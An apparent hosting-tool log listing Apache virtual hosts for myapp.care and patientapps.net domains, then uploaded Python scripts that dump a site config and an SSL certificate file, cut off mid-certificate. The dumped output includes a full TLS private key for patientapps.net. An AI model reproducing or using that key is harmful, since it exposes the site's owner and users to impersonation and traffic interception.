port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:01:27:
PUT: /tmp/pkp218757
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:01:27:
chmod 755 /tmp/pkp218757; /tmp/pkp218757; rm /tmp/pkp218757
2025-12-14 06:01:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 1409
<VirtualHost *:80>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
2025-12-14 06:01:27:
PUT: /tmp/pkp779175
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:01:27:
chmod 755 /tmp/pkp779175; /tmp/pkp779175; rm /tmp/pkp779175
2025-12-14 06:01:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt 5386
9a:a1:26:22:87:33:1b:11:50:be:29:5d:d3:29:9c:9c
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBf6f049eTmVtg2mhpo1CVvJIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjUzWhcNMjYwMzE0MDUwMjUyWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdnijUupoQ6H6eT3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOK
jiAljEoFB8mzHCwZuf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIF
WFDmHwDm9Gpg8kzrPT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/Ug
ALym9CKcOFhRgKNS2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063k
CTCpCu7jnJkHPQPjVGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaH
ZHk6GoUW/xhF7lKu2IXF2DTlAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFJPYvAuR8C2JmpcCPYVySQwJqX59MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBCwYKKwYB
BAHWeQIEAgSB/ASB+QD3AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbG3MOQgAABAMARzBFAiEAkRFjbx9zB1fomBnfrWWZRQi586JKzNSfOhdd
9UFW3mYCIGWr5SKvxEvlqnEgmq3c9f7Th+aNkF12IyHuqlTbjWzuAH0AGoudaUpX
mMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbG3MW0gAIAAAFACPlXOoEAwBG
MEQCIEsaKywm74QxL1hv8RSnld9GpQeBsxHkL4ZQj3PPm9jZAiBUb5imao6CHnr/
PmYjLJGDbp9uVRBHccmxbXYwz3WsMjANBgkqhkiG9w0BAQsFAAOCAQEAXJbsYlT1
BzrqKivUgthd/aDDVA8vGd8ZgWB0GatXzeEqf+n3Pqe3JI22Ry/y9VGYZOvE3gDC
dO/64hfi7zAABbuszWRP92kYDhdMoJprMoRYRDberRQ7JIoaBseOGaProcpSGC1i
UohFD40yd/WilZEBzoX814C0FfnNf7fbBDApv+XvwKyiicFn584zbaA/3z8w0ios
6Y3LVUJkJ+QuHk7WUuFr0MbJqv0w/h68i/RU6DaNbCGc6dhygsY9FGhD/3R7lmOJ
m6Fk11Nm9HlV4WO+G8/KtrbGB0EAzOttaL2z5tQWASn2siaHFDFajMtbYdpeDtir
2P1EFL51RlwGIw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDdnijUupoQ6H6e
T3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOKjiAljEoFB8mzHCwZ
uf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIFWFDmHwDm9Gpg8kzr
PT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/UgALym9CKcOFhRgKNS
2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063kCTCpCu7jnJkHPQPj
VGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaHZHk6GoUW/xhF7lKu
2IXF2DTlAgMBAAECggEAV2ISdXayYvJZYrCxcUckqysnryDPLxUG0CCAQu/46h3j
lOuX5GEjdNkc2EAC3HIX6NY9JWihtjboiKhWXrfyrXpn6qBFzqeEH55pO7ZNOh/u
iKiyRahTt1GggGFvZZ4iH+qfn3FGNL21aJf4n5vAIg4a9bbQCug5KmybEqntvakO
2zhqGKVCcSohqWEB0mBHu+rIh7AkBWAOweg1RtEd8sOhlj2oQLD+1YHL3A0Zl/y7
tTY0iWSgxP1TzKJIhhmNfypIMZx5t6h/jNmit7dlXestfcCdAU+Y7onH6RoMlaN8
EFe+xwD9q7y82iZHF8fAyGQWS/krX8YQcyQwMPHgQQKBgQD2H7nAG7JAO+iim+PH
+SuJG1mFB0JqcqGtc8s63frA0b5PVgwb5WgghRJBlKQsjEJBQQEKtjBJaGqrGnf/
o4fF8hnXFIxdk4AZ6gN89ok5Un5pLYq4uRGlfm9RzIRVvCROAovkUIYYxOMxfIzD
NlWZHJPLN5GKiNER4nHG79IN1QKBgQDmgrK69W0rPAhmiFN3yQZgltzglhz0Z2eh
6X9c4diwNEQ4p/WQx+LxY1ftRJNZPPPWZ9xRPzGK2ix4qYc6qAe5+zEEgvaPhPQm
4IcPd2JBI9cgYag/tDnwQYiVSdn8/fFRrqJGGk3oi2WBhDNdnQ3hEypFAyWjIMB7
9Z3xR6JC0QKBgQC8kTP8Rnv8EKo8o1kR5gp/4i9k51nwOmE6hiPntxid0FSRbiia
2tk7SRjim+JoqxE783S74zf9lf1bmEzl1EF62/EGQx0DuLWFpTAE9tHN1DE7ngPR
YSFu/P6G2j1tflcGWZcaVsNWiMpUKMuj6KYOR8HICYv9arNbk3V+aFEz/QKBgD4M
RmIO+FDf+v7miVlAEmhjk5ccsTSUtQ+fU7pDzNk5aHe7tl0/gPYrIJrsj6FAx/4Z
vPNdyE8xBTGBqLYATvwgAoTNX+MoDbR9Ub23DAquxBSiVPC46bOjYEmXNIdmL9Ql
5uZp5DjJdQxU8qKrSPYh+4nSHAp6IXX8moQ9HQ9RAoGBAJUgZ/G8Sadpl0mQ5xnp
5qu8WrYrnjPGYVJ4njR8HECs/b+UsdvKWKQkuAF94DIQpobKYTVeL5wZETMmEUPo
a4MxZ8yNlq/c5pY1QDiIghdRgHSieulJAqN0RjE9hOuI4KfFJvpjjskU24tRerMf
tzOYDcfhO2zlQw3EPxoY/CIP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
